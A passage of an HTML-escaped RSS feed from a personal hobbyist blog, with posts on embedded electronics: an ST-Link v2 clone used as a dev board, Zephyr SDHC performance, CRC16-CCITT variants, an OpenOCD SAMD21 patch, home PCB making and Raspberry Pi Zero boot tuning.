&lt;a href=&#34;https://www.ebay.co.uk/itm/MOTOROLA-MOTO-E-2nd-Gen-XT-1524-Unlocked-Tesco-Various-Colours-Mobile/232869676340&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Moto E 2nd gen phone&lt;/a&gt; for 35
GBP, loaded a stripped down version of 
&lt;a href=&#34;https://lineageos.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Lineage OS&lt;/a&gt; on it, and
designed a 
&lt;a href=&#34;https://juju.nz/src/michaelh/CAD/src/branch/master/stands&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;3D printed a stand&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;stand.jpg&#34; alt=&#34;Moto E on a 3D printed stand&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;render.png&#34; alt=&#34;Render of the stand&#34;&gt;&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m quite happy with how it turned out.  The phone is just an alarm
clock and MP3 player as the other apps are either not installed or (like the
Play Store) behind Lineage&amp;rsquo;s protected app feature.  This gives ~5 GiB
of free storage for songs.  The battery lasts for &amp;gt;= 5d as well.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ll do one more revision to build a 
&lt;a href=&#34;https://www.ebay.co.uk/itm/1-5m-USB-2-0-A-To-RIGHT-ANGLE-MICRO-B-Data-Charging-Cable-Lead-007241/191762039916&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;right angle USB cable&lt;/a&gt; into
the base for easy charging.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>ST Link v2 clone as a dev board</title>
      <link>https://juju.nz/michaelh/post/2017/st_link_dev_board/</link>
      <pubDate>Thu, 04 Jan 2018 17:22:05 +0100</pubDate>
      <guid>https://juju.nz/michaelh/post/2017/st_link_dev_board/</guid>
      <description>&lt;p&gt;I got distracted and had a hack on using a STL Link v2 clone as a
development board.  There&amp;rsquo;s a lot to like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A Cortex-M3 STM32F103C8T processor with 64 KiB of flash and 20 KiB
of RAM&lt;/li&gt;
&lt;li&gt;4 I/O lines and a LED to blink&lt;/li&gt;
&lt;li&gt;Decent support in 
&lt;a href=&#34;https://github.com/stm32duino&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;STM32duino&lt;/a&gt; with a
DFU bootloader&lt;/li&gt;
&lt;li&gt;Comes in a case and plugs directly into a USB port&lt;/li&gt;
&lt;li&gt;
&lt;a href=&#34;https://www.aliexpress.com/wholesale?SearchText=st&amp;#43;link&amp;#43;v2&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;~$2/each&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The I/O is strange and limited but it&amp;rsquo;s enough to drive a RGB LED via
PWM, drive a 40 RGB LED

&lt;a href=&#34;https://shop.pimoroni.com/products/unicorn-phat&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;pHAT&lt;/a&gt; over SPI, and
drive a 
&lt;a href=&#34;https://www.adafruit.com/product/2478&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;320x240 LCD&lt;/a&gt; over fast
bitbanged SPI.&lt;/p&gt;
&lt;p&gt;I won&amp;rsquo;t continue with this though.  The I/O is too limited and a

&lt;a href=&#34;http://wiki.stm32duino.com/index.php?title=Blue_Pill&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Blue Pill&lt;/a&gt; is
the same price sans case.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>ST Link v2 clone as a dev board</title>
      <link>https://juju.nz/michaelh/project/st_link_dev/</link>
      <pubDate>Mon, 01 Jan 2018 15:12:38 +0100</pubDate>
      <guid>https://juju.nz/michaelh/project/st_link_dev/</guid>
      <description>&lt;p&gt;Notes on using an Aluminium case ST Link v2 clone as a development board.  In summary,
it can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Talk to the host over USB&lt;/li&gt;
&lt;li&gt;Blink the built-in LED (!)&lt;/li&gt;
&lt;li&gt;Drive a RGB LED via PWM&lt;/li&gt;
&lt;li&gt;Drive a 40 RGB LED 
&lt;a href=&#34;https://shop.pimoroni.com/products/unicorn-phat&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;pHAT&lt;/a&gt; over SPI&lt;/li&gt;
&lt;li&gt;Drive a 
&lt;a href=&#34;https://www.adafruit.com/product/2478&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;320x240 LCD&lt;/a&gt; over fast bitbanged SPI&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;docs&#34;&gt;Docs&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;a href=&#34;http://www.avrki.ru/picture/articles/samodelniy_st_link_v2/shemf_st_link_v2.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Schematic&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href=&#34;http://www.st.com/content/ccc/resource/technical/document/datasheet/33/d4/6f/1d/df/0b/4c/6d/CD00161566.pdf/files/CD00161566.pdf/jcr:content/translations/en.CD00161566.pdf&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;STM32F103C8 datasheet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href=&#34;http://www.st.com/content/ccc/resource/technical/document/reference_manual/59/b9/ba/7f/11/af/43/d5/CD00171190.pdf/files/CD00171190.pdf/jcr:content/translations/en.CD00171190.pdf&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;STM32F103 series reference manual&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;programming&#34;&gt;Programming&lt;/h2&gt;
&lt;p&gt;I used a Segger J-Link to load the pre-built

&lt;a href=&#34;https://github.com/rogerclarkmelbourne/STM32duino-bootloader&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;STM32duino bootloader&lt;/a&gt;.
As the LED is on &lt;code&gt;PA9&lt;/code&gt;, use the &lt;code&gt;generic_boot20_pa9.bin&lt;/code&gt; version.&lt;/p&gt;
&lt;h2 id=&#34;pins&#34;&gt;Pins&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Pin&lt;/th&gt;
&lt;th&gt;Feedback pin&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;RST&lt;/td&gt;
&lt;td&gt;PB6&lt;/td&gt;
&lt;td&gt;PB5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SWDIO&lt;/td&gt;
&lt;td&gt;PB14&lt;/td&gt;
&lt;td&gt;PB12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SWCLK&lt;/td&gt;
&lt;td&gt;PA5 + PB13&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SWIM&lt;/td&gt;
&lt;td&gt;PB8 + PB11&lt;/td&gt;
&lt;td&gt;PB7 + PB9 + PB10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LED&lt;/td&gt;
&lt;td&gt;PA9&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The &amp;lsquo;feedback&amp;rsquo; pins have an extra 100 R to 680 R resistor between the
main pin and the feedback pin.  I assume this is used to detect if the
DUT is driving the pin at the same time as the debugger.&lt;/p&gt;
&lt;h2 id=&#34;functions&#34;&gt;Functions&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Default alternate&lt;/th&gt;
&lt;th&gt;Remap alternate&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;PA5&lt;/td&gt;
&lt;td&gt;SPI1_SCK, ADC12_IN5&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PA9 (LED)&lt;/td&gt;
&lt;td&gt;USART1_TX, TIM1_CH2&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PB5&lt;/td&gt;
&lt;td&gt;I2C1_SMBAI&lt;/td&gt;
&lt;td&gt;TIM3_CH2, SPI1_MOSI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PB6&lt;/td&gt;
&lt;td&gt;I2C1_SCL, TIM4_CH1&lt;/td&gt;
&lt;td&gt;USART1_TX&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PB8&lt;/td&gt;
&lt;td&gt;TIM4_CH3&lt;/td&gt;
&lt;td&gt;I2C1_SCL, CANRX&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PB7&lt;/td&gt;
&lt;td&gt;I2C1_SDA, TIM4_CH2&lt;/td&gt;
&lt;td&gt;USART1_RX&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PB9&lt;/td&gt;
&lt;td&gt;TIM4_CH4&lt;/td&gt;
&lt;td&gt;I2C1_SDA, CANTX&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PB10&lt;/td&gt;
&lt;td&gt;I2C2_SCL, USART3_TX&lt;/td&gt;
&lt;td&gt;TIM2_CH3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PB11&lt;/td&gt;
&lt;td&gt;I2C2_SDA, USART3_RX&lt;/td&gt;
&lt;td&gt;TIM2_CH4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PB12&lt;/td&gt;
&lt;td&gt;SPI2_NSS, I2C2_SMBAI, USART3_CK, TIM1_BKIN&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PB13&lt;/td&gt;
&lt;td&gt;SPI2_SCK, USART3_CTS, TIM1_CH1N&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PB14&lt;/td&gt;
&lt;td&gt;SPI2_MISO, USART3_RTS, TIM1_CH2N&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Or, transposed:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Available features&lt;/th&gt;
&lt;th&gt;But&amp;hellip;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;I2C1&lt;/td&gt;
&lt;td&gt;SCL, SCL, SDA&lt;/td&gt;
&lt;td&gt;SDA is behind a 680R (might be OK)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;I2C2&lt;/td&gt;
&lt;td&gt;SDA, SMBAI, SDA&lt;/td&gt;
&lt;td&gt;No SCK&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SPI1&lt;/td&gt;
&lt;td&gt;SCK, MOSI&lt;/td&gt;
&lt;td&gt;MOSI is on a remap, and remap is all or nothing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SPI2&lt;/td&gt;
&lt;td&gt;SCK, MISO, NSS&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;USART1&lt;/td&gt;
&lt;td&gt;TX, RX&lt;/td&gt;
&lt;td&gt;Usable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;USART3&lt;/td&gt;
&lt;td&gt;RX, CTS, RTS, CK, TX&lt;/td&gt;
&lt;td&gt;TX and RX are on the same pin&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
</description>
    </item>
    
    <item>
      <title>Zephyr Project</title>
      <link>https://juju.nz/michaelh/project/zephyr/</link>
      <pubDate>Mon, 01 Jan 2018 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/project/zephyr/</guid>
      <description></description>
    </item>
    
    <item>
      <title>SDHC over SPI performance</title>
      <link>https://juju.nz/michaelh/post/2017/sdhc_speed/</link>
      <pubDate>Fri, 29 Dec 2017 15:23:56 +0100</pubDate>
      <guid>https://juju.nz/michaelh/post/2017/sdhc_speed/</guid>
      <description>&lt;p&gt;I&amp;rsquo;m hacking on adding SDHC over SPI block device support to the

&lt;a href=&#34;https://www.zephyrproject.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Zephyr Project&lt;/a&gt; RTOS.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m currently getting 224 KiB/s on an Arduino Zero with a 4 MHz bus
and 1 KiB read size, which is an OK-ish 46 % of the top bus capacity.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s where the time goes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;4550 us - total time to read 2x 512 byte blocks from the card&lt;/li&gt;
&lt;li&gt;80 us - time spent in ELM FS (impressive!) and timing code&lt;/li&gt;
&lt;li&gt;330 us - time for the no-name SD card to make the sector ready&lt;/li&gt;
&lt;li&gt;1500 us - time to transfer 512 bytes over SPI&lt;/li&gt;
&lt;li&gt;330 us - time to calculate the CRC to check the sector&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The SPI transfer itself is done in bursts of 16 bytes (~32 us) and the
SPI driver has a turn-around time of 16 us.&lt;/p&gt;
&lt;p&gt;Turning that into percentages,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;4 % is in core code&lt;/li&gt;
&lt;li&gt;15 % is in the SD card&lt;/li&gt;
&lt;li&gt;67 % is in the SPI transfer&lt;/li&gt;
&lt;li&gt;15 % is in the CRC&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The next steps are to optimise the SPI driver and use the hardware CRC
unit.  That could bring the time per block down to &lt;code&gt;(80 + 330 + 1000 + 100)&lt;/code&gt; = &lt;code&gt;~1500 us&lt;/code&gt; and the transfer rate up to
332 KiB/s / 67 % utilisation.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>The many different CRC16-CCITTs</title>
      <link>https://juju.nz/michaelh/post/2017/crc16/</link>
      <pubDate>Mon, 27 Nov 2017 20:24:30 +0100</pubDate>
      <guid>https://juju.nz/michaelh/post/2017/crc16/</guid>
      <description>&lt;p&gt;I&amp;rsquo;m hacking on adding Arduino Zero support to the Zephyr Project at the
moment.  I had a look at speeding up &lt;code&gt;crc16_ccitt()&lt;/code&gt; but ran into a
problem: there&amp;rsquo;s so many variants of CRC16-CCITT to choose from!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Zephyr uses CRC-16/AUG-CCITT which is equivalent to
CRC-16/CCITT-FALSE with two zero bytes prepended. The effective
seed is &lt;code&gt;0x1d0f&lt;/code&gt; and test vector output is &lt;code&gt;0xe5cc&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Mynewt uses CRC-16/XMODEM. The seed is 0 and test vector
output is &lt;code&gt;0x31c3&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Contiki uses CRC-16/CCITT. The seed is 0, input and output are
bit reversed, and test vector output is &lt;code&gt;0x2189&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Linux uses CRC-16/MCRF4XX. The seed is &lt;code&gt;0xffff&lt;/code&gt;, input and
output are bit reversed, and the test vector output is &lt;code&gt;0x6f91&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The Arduino Zero&amp;rsquo;s SAMD21 uses CRC-16/CCITT as per Contiki.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Contiki, Linux, and the SAMD21 are the same except for the seed.
Zephyr is close, but you need to modify the seed to account for the
padding.  Mynewt is the outlier as all others reverse the input and
output.&lt;/p&gt;
&lt;p&gt;See &lt;a href=&#34;http://reveng.sourceforge.net/crc-catalogue/16.htm&#34;&gt;http://reveng.sourceforge.net/crc-catalogue/16.htm&lt;/a&gt; for a
catalogue.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>OpenOCD with the ST-Link v2</title>
      <link>https://juju.nz/michaelh/post/2017/openocd/</link>
      <pubDate>Mon, 09 Oct 2017 20:28:54 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2017/openocd/</guid>
      <description>&lt;p&gt;There is an issue when trying to program a

&lt;a href=&#34;http://www.atmel.com/products/microcontrollers/arm/sam-d.aspx&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;SAMD21&lt;/a&gt;
like in the 
&lt;a href=&#34;https://store.arduino.cc/usa/arduino-zero&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Arduino Zero&lt;/a&gt;
using 
&lt;a href=&#34;http://openocd.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;OpenOCD&lt;/a&gt; with a

&lt;a href=&#34;https://www.aliexpress.com/wholesale?SearchText=st-link&amp;#43;v2&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ST-Link v2&lt;/a&gt;
which gives errors like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;** Programming Started **
auto erase enabled
Info : SAMD MCU: SAMD21E18A (256KB Flash, 32KB RAM)
Error: Failed to erase row containing 00000000
Error: SAMD: failed to erase sector 0
Error: failed erasing sectors 0 to 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The issue is that &lt;code&gt;NVMCTRL_CTRLA&lt;/code&gt; is a half-word register and the
ST-Link v2 emulates the half word write using two single byte writes.&lt;/p&gt;
&lt;p&gt;The hack-around is to change to a word write:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;diff --git a/src/flash/nor/at91samd.c b/src/flash/nor/at91samd.c
index 2673b0ee..f060bceb 100644
--- a/src/flash/nor/at91samd.c
+++ b/src/flash/nor/at91samd.c
@@ -472,7 +472,7 @@ static int samd_issue_nvmctrl_command(struct target *target, uint16_t cmd)
        }

        /* Issue the NVM command */
-       res = target_write_u16(target,
+       res = target_write_u32(target,
                        SAMD_NVMCTRL + SAMD_NVMCTRL_CTRLA, SAMD_NVM_CMD(cmd));
        if (res != ERROR_OK)
                return res;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;See &lt;a href=&#34;https://sourceforge.net/p/openocd/mailman/message/34565277/&#34;&gt;https://sourceforge.net/p/openocd/mailman/message/34565277/&lt;/a&gt; for
more.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>SAMD21E18 PCB</title>
      <link>https://juju.nz/michaelh/post/2017/demini/</link>
      <pubDate>Mon, 02 Oct 2017 19:31:48 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2017/demini/</guid>
      <description>&lt;p&gt;In follow up to my mysensors.org build, I&amp;rsquo;ve always wanted to design
PCB and try my hand at SMD soldering.  I normally use veroboard on a
0.1&amp;rdquo; pitch but the time to cut and solder wires makes for a slow
build.  Here&amp;rsquo;s the result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;board.jpg&#34; alt=&#34;Final PCB assembled&#34;&gt;&lt;/p&gt;
&lt;p&gt;It has:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;An AT91SAMD21E18 (256 KiB flash, 32 pins, 0.8 mm pitch)&lt;/li&gt;
&lt;li&gt;USB, regulator, Cortex SWD debug header, LED, and pullups on I2C&lt;/li&gt;
&lt;li&gt;Footprint for a RFM69CW radio&lt;/li&gt;
&lt;li&gt;Adafruit Feather form factor&lt;/li&gt;
&lt;li&gt;Two layer PCB with 0603 passives&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The soldering turned out well.  I mainly used the used the
tin/remove-excess-with-solderwick method and a heatgun for the
USB socket.  For the CPU tinning and then pressing down on the pins
with the tip of the iron worked well.&lt;/p&gt;
&lt;p&gt;Changes for the next version would be:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Add a ~10 k pullup to RST&lt;/li&gt;
&lt;li&gt;Move the LED to PA17 to match the Zero&lt;/li&gt;
&lt;li&gt;Reduce the LED current limit resistor to 1k from 2k2&lt;/li&gt;
&lt;li&gt;Put footprints on the bottom of the board for a Si7021 and/or a
25FL064+&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>MySensors</title>
      <link>https://juju.nz/michaelh/post/2017/mysensors/</link>
      <pubDate>Mon, 02 Oct 2017 19:27:58 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2017/mysensors/</guid>
      <description>&lt;p&gt;It gets warm and humid here in the summer and feels too dry in the
winter.  To measure this I built up two 
&lt;a href=&#34;http://mysensors.org&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;MySensors&lt;/a&gt;

&lt;a href=&#34;https://www.openhardware.io/view/1/Sensebender-Micro&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Sensebender Micro&lt;/a&gt;
boards and designed a 3D printed a case to go with
them:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;box.jpg&#34; alt=&#34;Final unit assembled&#34;&gt;&lt;/p&gt;
&lt;p&gt;The holes in the case are to save on print time and let the air flow.
The battery is far oversized and probably self discharges faster
than the board draws current.&lt;/p&gt;
&lt;p&gt;I ended up using a Raspberry Pi Zero with a RFM69HW as the gateway.
It&amp;rsquo;s connected as a Ethernet gadget to my home server which lets
everything run over IP while using a single cable for power and data.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Adventures in making PCBs</title>
      <link>https://juju.nz/michaelh/post/2017/pcb-null/</link>
      <pubDate>Mon, 11 Sep 2017 11:09:18 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2017/pcb-null/</guid>
      <description>&lt;p&gt;As part of adding 
&lt;a href=&#34;https://www.mysensors.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;MySensors&lt;/a&gt; based sensors around the house, I want to
make an integrated version of the 
&lt;a href=&#34;https://www.mysensors.org/hardware/micro&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Sensebender Micro&lt;/a&gt; upgraded with a
SAMD21 and a 
&lt;a href=&#34;https://webshop.ideetron.nl/RFM69HCW&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;RFM69HCW&lt;/a&gt; radio.  I&amp;rsquo;ve never had much success with making
PCBs at home, so I thought I&amp;rsquo;d give it another try and record the
experiments.&lt;/p&gt;
&lt;p&gt;Try 1: HP M252dw, laminator @ 10 mm, 4 times through, Migros-brand
T-Shirt transfer paper.  Some transfer but lots left behind.  Tape
melted with heat?  Learn: rotate image to make better use of paper.
Transfer paper goes hatches down in paper tray.&lt;/p&gt;
&lt;p&gt;Try 2: HP, iron, transfer paper. Iron: max temp, no steam, 30s in
place, 2m total.  Too much movement, smeared.  Transfer paper has a
sticky layer (by design?) which melted.  Lesson: T-shirt transfer
paper is not usable.&lt;/p&gt;
&lt;p&gt;Try 3: HP, iron, glossy IKEA catalog pages.  Iron: as #2.  Paper
reports as jammed.&lt;/p&gt;
&lt;p&gt;Try 4: HP, iron, HP Q5451A photo paper.  I wrapped the paper around
the PCB, which makes it rise.  Paper sticks to the iron when heated.
Result: little toner transferred.&lt;/p&gt;
&lt;p&gt;Try 4: Samsung, iron, HP Q4551A photo paper.  Result: little toner
transferred.&lt;/p&gt;
&lt;p&gt;Try 5: PCB coated with blue spray paint, 40W laser to remove the
paint.  Result: a thin film is left on the copper.  Trying to remove
the film also removes the paint.  Too higher power also shrinks the
tracks.  Result is insensitive to power level so lower is
better.&lt;/p&gt;
&lt;p&gt;So, no luck yet.  I&amp;rsquo;ve ordered some 
&lt;a href=&#34;http://pcbfx.com/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;PCBfx&lt;/a&gt; toner
transfer paper and TRF foil.  I&amp;rsquo;ve also ordered a small batch from

&lt;a href=&#34;http://DirtyPCBs.com&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Dirty PCBs&lt;/a&gt; to see what the turn around time is
like.  It may be worth it for the detail and lack of mess.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>juju.net.nz/michaelh on IPFS</title>
      <link>https://juju.nz/michaelh/post/2017/ipfs/</link>
      <pubDate>Sun, 09 Jul 2017 15:01:26 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2017/ipfs/</guid>
      <description>&lt;p&gt;The short story is that this blog is now available on

&lt;a href=&#34;https://ipfs.io/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;IPFS&lt;/a&gt; at
&lt;a href=&#34;https://juju.net.nz/ipns/juju.net.nz/michaelh/&#34;&gt;https://juju.net.nz/ipns/juju.net.nz/michaelh/&lt;/a&gt; and
&lt;a href=&#34;https://gateway.ipfs.io/ipns/juju.net.nz/michaelh/&#34;&gt;https://gateway.ipfs.io/ipns/juju.net.nz/michaelh/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This is done by generating the blog a second time with &lt;code&gt;ipfs/&lt;/code&gt; as the
basepath, changing to relative links, and then adding and updating the
name as part of the 
&lt;a href=&#34;https://buildbot.net/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;buildbot&lt;/a&gt; script.

&lt;a href=&#34;http://gohugo.io/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Hugo&lt;/a&gt; has relative and canonical link support but
it seems inconsistent, and it&amp;rsquo;s hard to resist a &lt;code&gt;sed&lt;/code&gt; script&amp;hellip;&lt;/p&gt;
&lt;p&gt;I quite like how you can map ownership across DNS and IPFS using a TXT
record.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Raspberry Pi Zero boot speed</title>
      <link>https://juju.nz/michaelh/post/2017/piboot/</link>
      <pubDate>Sun, 02 Jul 2017 11:46:07 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2017/piboot/</guid>
      <description>&lt;p&gt;I enjoy working on embedded systems, but there&amp;rsquo;s a significant amount
of work you have to do in getting the platform ready before getting to
the more interesting business logic.  The

&lt;a href=&#34;https://www.raspberrypi.org/blog/raspberry-pi-zero-w-joins-family/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Raspberry Pi Zero W&lt;/a&gt;
solves most of these problems: it&amp;rsquo;s small, has decent I/O, a decent
price ($10 + $6 for storage + $4 for shipping) and runs full Linux so
I can use my current language of choice.&lt;/p&gt;
&lt;p&gt;One problem is boot speed.  It&amp;rsquo;s common to power cycle an embedded
project so a long boot time slows down the build/test cycle.  A long
boot time can also affect the safety of the system.&lt;/p&gt;
&lt;p&gt;Because of this, I had a hack on the Raspbian boot time.  The
&lt;code&gt;.target&lt;/code&gt; units are boot milestones such as basics ready, filesystem
ready, and networking ready.  &lt;code&gt;systemd-analyze plot&lt;/code&gt; shows where the
time went and what was running in parallel such as:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ grep target boot-2.svg
&amp;lt;text class=&amp;quot;left&amp;quot; x=&amp;quot;390.802&amp;quot; y=&amp;quot;94.000&amp;quot;&amp;gt;remote-fs-pre.target&amp;lt;/text&amp;gt;
&amp;lt;text class=&amp;quot;left&amp;quot; x=&amp;quot;391.128&amp;quot; y=&amp;quot;114.000&amp;quot;&amp;gt;cryptsetup.target&amp;lt;/text&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As a bonus, the &lt;code&gt;x&lt;/code&gt; attribute is the time in centi-seconds the span
started which makes it easer to measure.&lt;/p&gt;
&lt;p&gt;The biggest savings were through disabling unneeded services and
switching from &lt;code&gt;/etc/init.d/networking&lt;/code&gt; to &lt;code&gt;systemd-networkd&lt;/code&gt;.  The
final boot order was:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;boot-2.svg&#34; alt=&#34;Boot order and timing&#34;&gt;&lt;/p&gt;
&lt;p&gt;giving:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2.70 s before userspace.&lt;/li&gt;
&lt;li&gt;3.91 s is the earliest a no-dependency service can start.  Useful
for any safety response.&lt;/li&gt;
&lt;li&gt;7.42 s to local-fs: filesystem is up and usable&lt;/li&gt;
&lt;li&gt;7.94 s to basic&lt;/li&gt;
&lt;li&gt;17.8 s to network up.  Includes the wifi and DHCP time so network
dependent.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Moving from ext4 to f2fs made no difference. There&amp;rsquo;s probably another
1 s to be saved through shrinking the kernel and, say, moving USB to a
module so it can init later.&lt;/p&gt;
&lt;h1 id=&#34;update&#34;&gt;Update&lt;/h1&gt;
&lt;p&gt;I switched to a custom kernel with no printk() and USB as a module.  I
also switched from the Debian services to things like
systemd-timesyncd and disabling the Debian dhcpcd.  Times now are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;0.80 s before userspace.&lt;/li&gt;
&lt;li&gt;1.70 s is the earliest a no-dependency service can start.  Useful
for any safety response.&lt;/li&gt;
